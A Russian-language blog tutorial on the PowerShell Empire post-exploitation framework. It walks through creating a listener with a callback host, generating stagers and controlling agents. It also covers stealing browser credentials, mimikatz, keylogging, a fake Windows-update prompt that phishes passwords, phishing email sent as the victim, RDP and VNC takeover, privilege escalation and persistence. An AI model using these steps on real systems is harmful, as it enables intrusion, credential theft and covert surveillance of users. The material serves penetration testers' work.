PowerShell Empire Framework

Что такое фреймворк Empire и как им пользоваться для взлома различных систем.

Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.

Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если ты опытный пентестер или редтимер, я думаю, ты отметишь для себя что-то новое и полезное.

PowerShell Empire Framework

Установка Empire

Если ты используешь Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:

sudo apt install powershell-empire

Если на твоем компе другая система, нужно скачать файлы проекта и установить их вручную.

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh

Собственно, все: фреймворк Empire установлен в твоей системе.

 

Получение точки опоры

Перед тем как мы рассмотрим сам программный комплекс, давай разберемся со следующими понятиями:

  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
  • Module — код, выполняемый Agent’ом для достижения определенных целей.

Запустим Empire командой powershell-empire. Ты увидишь такое окно.

Начало работы Empire
Начало работы Empire

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).

 

Listener

Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

Интерфейс listeners
Интерфейс listeners

Сейчас у нас нет активных листенеров. Создать его можно командой uselistener, но давай посмотрим, какие типы листенеров нам может предложить Empire.

uselistener <TAB>
Список листенеров Empire
Список листенеров Empire

Поясню, что здесь что:

  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
  • http — обычный HTTP/HTTPS-листенер;
  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
  • http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
  • onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
  • redirector — инструмент для перехода от одного агента к другому.

С типами листенеров разобрались, а теперь давай посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).

uselistener http
Выбор типа листенера
Выбор типа листенера

Получить справку по выбранному листенеру можно командой nfo.

Справка по выбранному листенеру
Справка по выбранному листенеру

Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.

set Name l1
set Host http://192.168.6.1
set Port 4321
Назначение основных параметров листенера
Назначение основных параметров листенера

И запустим листенер командой execute.

Запуск листенера
Запуск листенера

Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.

Список листенеров
Список листенеров

Переходим ко второй стадии.

 

Stager

Давай по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

Список типов stager’ов
Список типов stager’ов

Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:

  • bash — обычный Bash-скрипт;
  • launcher — так называемый one-liner-код на определенном скриптовом языке;
  • macro — макрос для офисных приложений;
  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;
  • war — просто набор байтов для модернизации нагрузки;
  • applescript — файл AppleScript;
  • application — файл Application;
  • ducky — так называемый скрипт Rubber Ducky;
  • dylib — динамическая библиотека macOS;
  • jar — нагрузка в JAR-формате;
  • `machomacOS — офисный макрос для macOS;
  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);
  • safari_launcher — HTML-нагрузка;
  • shellcode — обычный Windows-шелл;
  • teensy — Teensy-скрипт;
  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
  • bunny — скрипт Bash bunny;
  • csharp_exe — приложение PowerShell/C#;
  • dll — нагрузка в виде DLL;
  • hta — HTA-нагрузка для IE;
  • macroless_msword — документ macroless;
  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).

Давай выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

Выбор типа нагрузки
Выбор типа нагрузки

Как и в случае с листенером, посмотрим параметры командой info.

Справка по выбранной нагрузке
Справка по выбранной нагрузке

Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давай укажем листенер и путь к итоговому файлу, после чего создадим stager.

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute
Создание нагрузки
Создание нагрузки

Файл с нагрузкой создан по указанному пути.

 

Agent

Нам нужно выполнить bat-файл на целевом хосте. Ты увидишь сообщение о подключении.

Подключились и создали агента
Подключились и создали агента

Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

Список агентов
Список агентов

Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact).

rename LVKP4HN3 al1
interact al1
Список агентов
Список агентов

Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

 

Эксплуатация и постэксплуатация Windows с Empire

 

Базовые опции

К базовым опциям относятся те функции, которые реализованы в Empire без участия сторонних модулей. Так что пробежимся по тем, которые приходится часто применять:

  • sysinfo — предоставляет информацию о системе на удаленном хосте;
  • download/upload — позволяет загрузить файлы на удаленный хост или с него (подобные команды реализованы уже, наверное, везде);
  • sleep — устанавливает интервал обмена сообщениями с агентом. Таким образом, если установить интервал в 60 секунд, то агент будет принимать от оператора команду и загружать ее в очередь, а затем раз в минуту очищать очередь и предоставлять информацию;
  • steal_token — модуль имперсонации токена доступа;
  • shell [cmd] — позволяет выполнить команду черед cmd.exe;
  • ps — выводит список процессов с указанием имени процесса, его PID, пользователя, в контексте которого работает процесс, и занимаемую процессом память;
  • psinject — внедряет агент в другой процесс;
  • scriptimport — позволяет загрузить PowerShell-скрипт в память;
  • mimikatz — простое быстрое выполнение sekurlsa::logonpasswords;
  • creds — локальное хранилище учетных данных (паролей, хешей), предоставляет оперативную работу с ними. Хеши заполняются автоматически при использовании разных модулей, но также возможно их ручное добавление и удаление. К примеру, упомянутая команда mimikatz собрала некоторые учетные данные. Давай взглянем на них.
Локальное хранилище creds Empire
Локальное хранилище creds Empire

Это не все «быстрые команды» Empire, а, как упоминалось, те, которые мы используем постоянно.

Для подключения дополнительных модулей следует использовать команду usemodule, а если тебе необходимо найти какой-то модуль, для этого есть команда searchmodule.

Поиск модулей, связанных с dllhijack
Поиск модулей, связанных с dllhijack
 

Раздел collection

Давай рассмотрим модули из данного раздела, которыми мы часто пользуемся. Так как почти всегда приходится вытаскивать пароли и данные из браузеров, тут на помощь приходят следующие инструменты:

  • collection/ChromeDump;
  • collection/FoxDump;
  • collection/SharpChromium.

Запустим модуль командой run или execute. При этом Empire сообщает, что использование данного модуля нарушает правила скрытности, и спрашивает, хотим ли мы продолжить.

Использование модуля SharpChromium
Использование модуля SharpChromium

В результате мы получаем все куки, историю запросов и сохраненные учетные данные.

История запросов и сохраненные учетные данные
История запросов и сохраненные учетные данные

Следующие интересные возможности — искать файлов с помощью модуля collection/file_finder и получить дамп нужного процесса с помощью модуля collection/minidump. А для отслеживания вводимой пользователем информации можно легко активировать кейлоггер — collection/keylogger. Для примера откроем блокнот и напишем слово test — это действие будет зафиксировано Empire.

Работа кейлоггера
Работа кейлоггера

С помощью collection/clipboard_monitor мы отслеживаем, что попадает в буфер обмена.

Мониторинг буфера обмена
Мониторинг буфера обмена

Наконец, самые замечательные функции этого раздела связаны с фишингом. Когда нам необходимо получить пароль и все потенциальные точки входа не прошли проверку, можно «попросить» у пользователя его учетные данные! Сделать это помогают модули collection/prompt или collection/toasted. Я приведу пример использования toasted: на экране юзера выводится уведомление (можно придумать какие угодно условия, но мы используем перезагрузку, так как никто не захочет прерывать работу с документами), на которое он реагирует. Независимо от его выбора появится окно авторизации, учетные данные из которого мы и получим.

usemodule collection/toasted
set ToastTitle "Ваш сеанс работы будет прекращен"
set ToastMessage "Cистема будет перезагружена через 5 минут. Хотите ли вы отложить перезагрузку?"
set Application "Служба обновлений Windows"
set CredBoxTitle "Вы уверены, что хотите перезагрузить ваш ПК?"
set CredBoxMessage "Для выполнения данного действия требуется аутентификация"
run
Всплывающее уведомление о перезагрузке ПК
Всплывающее уведомление о перезагрузке ПК
Окно авторизации
Окно авторизации
Полученные логин и пароль пользователя
Полученные логин и пароль пользователя

При этом у данных модулей есть параметр VerifyCreds, установив который в True мы обяжем Empire проверить эти учетные данные на подлинность, перед тем как показать их нам. Если пользователь ввел некорректные учетные данные или просто опечатался, Empire запросит их снова.

 

Раздел credentials

Об этом разделе рассказывать особо нечего. Он представляет собой полностью реализованное на PowerShell и вставленное в Empire программное обеспечение mimikatz.

Список модулей mimikatz
Список модулей mimikatz

Использовать этот инструмент проще простого, поэтому переходим к следующему разделу.

Использование mimikatz hashdump
Использование mimikatz hashdump
 

Раздел management

В этом разделе есть несколько крутых фишек. Первая из них — это легкое включение и отключение RDP для пользователя. Для этого применяются модули management/enable_rdp и management/disable_rdp. Да, Empire снова предупреждает, что это палевно!

Включение RDP
Включение RDP
Успешное подключение к RDP
Успешное подключение к RDP
Отключение RDP
Отключение RDP
Неудачное подключение к RDP
Неудачное подключение к RDP

В Empire также встроен инструмент EmailRaider, предназначенный для просмотра и отправки фишинговых писем с помощью собственного клиента Outlook от имени пользователя. На самом деле из большого списка довольно мощных модулей management/mailraider/ мы пользуемся только одним, который отвечает за отправку писем, — management/mailraider/send_mail.

Параметры модуля send_mail
Параметры модуля send_mail

С использованием этого инструмента мы заполняем текст сообщения и делаем рассылку. Как правило, получив письмо от известного отправителя или другого сотрудника компании, жертва охотнее запустит файл (пусть и подозрительный) или перейдет по ссылкам.

И последний модуль, который используется для наблюдения, — management/vnc. Запустим у себя VNC-прослушиватель (я использую Remmina) и выполним обратное подключение.

Запуск VNC-бэкконнекта
Запуск VNC-бэкконнекта
VNC-клиент Remmina
VNC-клиент Remmina
 

Раздел privesc

Раздел с повышением привилегий полезен только для ограниченного круга быстрых проверок, а также из-за модуля privesc/getsystem, который позволяет перейти в контекст SYSTEM. В Empire встроены два известных скрипта: privesc/sherlock, который проверит наличие в атакуемой системе CVE-уязвимостей, и модуль privesc/powerup/allchecks — он поищет пути повышения привилегий (к примеру, подменить файл службы).

Пример запуска модуля allchecks
Пример запуска модуля allchecks
Пример запуска модуля sherlock
Пример запуска модуля sherlock
 

Раздел situational_awareness

Это очень полезный раздел, с которого обычно и стоит начинать эксплуатацию. Отметим два важных модуля — situational_awareness/host/antivirusproduct и situational_awareness/host/applockerstatus. Первый предоставляет информацию об используемых на атакуемом хосте антивирусах, второй дает сведения об AppLocker.

Благодаря модулю situational_awareness/host/computerdetails мы можем посмотреть события 4648 (RDP) и 4624 (входы в систему) из журнала событий, а также журналы AppLocker, запуск PSScripts и сохраненные сеансы RDP.

Пример запуска модуля computerdetails
Пример запуска модуля computerdetails

Очень часто приходится сканировать SPN в сети, и в этом очень помогает модуль situational_awareness/network/get_spn. Похожим образом модули situational_awareness/network/powerview/get_domain_trust и situational_awareness/network/powerview/map_domain_trust облегчают задачу поиска трастов, так как позволяют рекурсивно перечислять все достижимые доверительные отношения домена с текущей позиции в сети. Но круче всего (по моему мнению) в этом разделе модуль situational_awareness/network/bloodhound3.

Запуск BloodHound из Empire
Запуск BloodHound из Empire
Загрузка результата BloodHound с удаленного хоста
Загрузка результата BloodHound с удаленного хоста

С помощью этого средства мы загружаем полученные от BloodHound файлы и можем их анализировать на своей локальной машине.

 

Раздел persistence

Первым делом упомяну о некоторых методах персистентности, а именно:

  • SID History — реализован в модуле persistence/misc/add_sid_history;
  • SSP — реализован в модуле persistence/misc/memssp;
  • Skeleton Key — реализован в модуле persistence/misc/skeleton_key.

Но перечисленные методы — это пользовательская персистентность. Она нам понадобится, когда пользователь выключит или перезагрузит компьютер, чтобы мы смогли войти и снова запустить сеанс Empire. Но чтобы избежать подобного неудобства, в Empire есть и свои модули персистентности сеанса. Мы используем один из двух модулей: persistence/elevated/registry или persistence/elevated/wmi, разница только в том, что первый основан на закреплении через реестр, а второй через WMI.

Закрепляемся через реестр, используя модуль persistence/elevated/registry
Закрепляемся через реестр, используя модуль persistence/elevated/registry

Empire сообщает, что мы успешно закрепились. Для примера посмотрим список агентов и перезагрузим систему. После включения ПК у нас появился новый агент!

После перезагрузки в списке появился новый агент
После перезагрузки в списке появился новый агент

С Windows все, а теперь давай посмотрим, что мы можем получить от Empire при эксплуатации других систем.

 

Эксплуатация и постэксплуатация macOS с Empire

Базовые модули агента macOS схожи с базовыми модулями агента Windows, но есть отличие: вместо PowerShell используется Python. Таким образом, вместо модуля scriptimport присутствует модуль pythonscript. Также имеется модуль loadpymodule для загрузки целых программ. Загружаемый файл должен представлять собой ZIP-архив, содержащий скрипты, написанные на Python, или пакеты. Обязательно должен присутствовать файл __init__.py.

Арсенал самих модулей для macOS куда скромнее, если сравнивать с Windows. Так, модуль collection/osx/browser_dump способен извлечь историю запросов браузера, но не покажет куки и пароли. А модули для отслеживания ввода пользователя вовсе работают иначе: кейлоггер collection/osx/keylogger сохраняет историю на удаленной машине в файл, который нам приходится скачивать, а для того, чтобы мониторить буфер обмена с помощью модуля collection/osx/clipboard, нужно указать ему время работы в секундах.

Работа модуля collection/osx/keylogger
Работа модуля collection/osx/keylogger

Но вот что работает безупречно — так это фишинг, а именно модуль collection/osx/prompt.

Использование модуля collection/osx/prompt
Использование модуля collection/osx/prompt

Среди прочего Empire позволяет запустить App Store и попросить пользователя указать пароль, который мы незамедлительно получим.

Запрос пароля пользователя
Запрос пароля пользователя
Использование модуля keylogger
Использование модуля keylogger

Несмотря на то что я уже настраивал кейлоггер, как только был введен пароль, он отобразился в окне Empire. Как правило, схема эксплуатации Empire на Mac очень проста и успешно выполнима в 80% случаев:

  1. Фишинговое письмо с нагрузкой -> получение Empire-агента.
  2. Использование модуля collection/osx/prompt -> получение пароля (как правило, sudo).
  3. Использование модуля privesc/multi/sudo_spawn для получения агента в контексте sudo.
  4. Закрепление в системе с использованием модуля persistence/osx/loginhook.

Сложилось мнение, что на маках в основном обрабатывают информацию и готовят отчеты. Поэтому единственное, для чего его стоит захватывать, — это наблюдение за пользователем. Вся описанная выше атака занимает по времени не больше 10–15 минут. Даже если пользователь не хочет вводить пароль, на третий-четвертый раз он смирится и все равно его наберет.

Имея учетные данные sudo, можно наблюдать за действиями пользователя с помощью модуля management/osx/screen_sharing, который обеспечит тебе VNC. В целом повторюсь, захват макa — это легко и быстро, и, как правило, основным инструментом атакующего служит фишинг.

 

Эксплуатация и постэксплуатация Linux с Empire

Работа с базовыми модулями Empire в Linux не отличается от работы на маке. Точно так же, как и с маком, работает кейлоггер collection/linux/keylogger. Но в Linux-версии присутствует хороший модуль privesc/linux/linux_priv_checker, который собирает со всей системы информацию (и помогает искать вектор повышения привилегий). Среди собираемых данных нужно перечислить следующие:

  • основная информация о системе;
  • работающие процессы;
  • интересные файлы;
  • файлы, доступные для записи;
  • логи, в которых встречается слово password;
  • настройки судоера;
  • версия ПО и информация о нем из баз exploit-db;
  • доступные на хосте средства разработки.

Для перехода в контекст суперпользователя нам необходимо знать его пароль. Для этого можно задействовать тот же модуль, что и для макa, — privesc/multi/sudo_spawn. В качестве параметра нужно задать листенер и пароль sudo.

usemodule privesc/multi/sudo_spawn
set Password user
set Listener l1
run
Использование sudo_spawn для создания нового агента в контексте sudo
Использование sudo_spawn для создания нового агента в контексте sudo

В результате в списке агентов Empire появляется новый агент, работающий от имени root.

Список агентов
Список агентов

После получения прав суперпользователя мы применяем два модуля Empire. Первый, collection/linux/mimipenguin, позволяет собрать служебные пароли из разных мест. Но он не идеален, поэтому для работы в этой области обычно используются другие средства. Второй модуль — это persistence/multi/crontab, помогающий закрепиться в системе за счет использования crontab.

Параметры модуля crontab
Параметры модуля crontab

Этому модулю требуется указать имя файла, который будет выполняться в определенные промежутки времени. Самый простой способ — загружать тот же stager Empire.

 

Заключение

Напоследок стоит упомянуть, что для Empire существуют и автоматические сценарии, позволяющие собирать информацию в системе или распространяться по сети. Один из них — DeathStar  — автоматизирует частые сценарии атак на Windows.

Click to rate this post!
[Total: 0 Average: 0]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.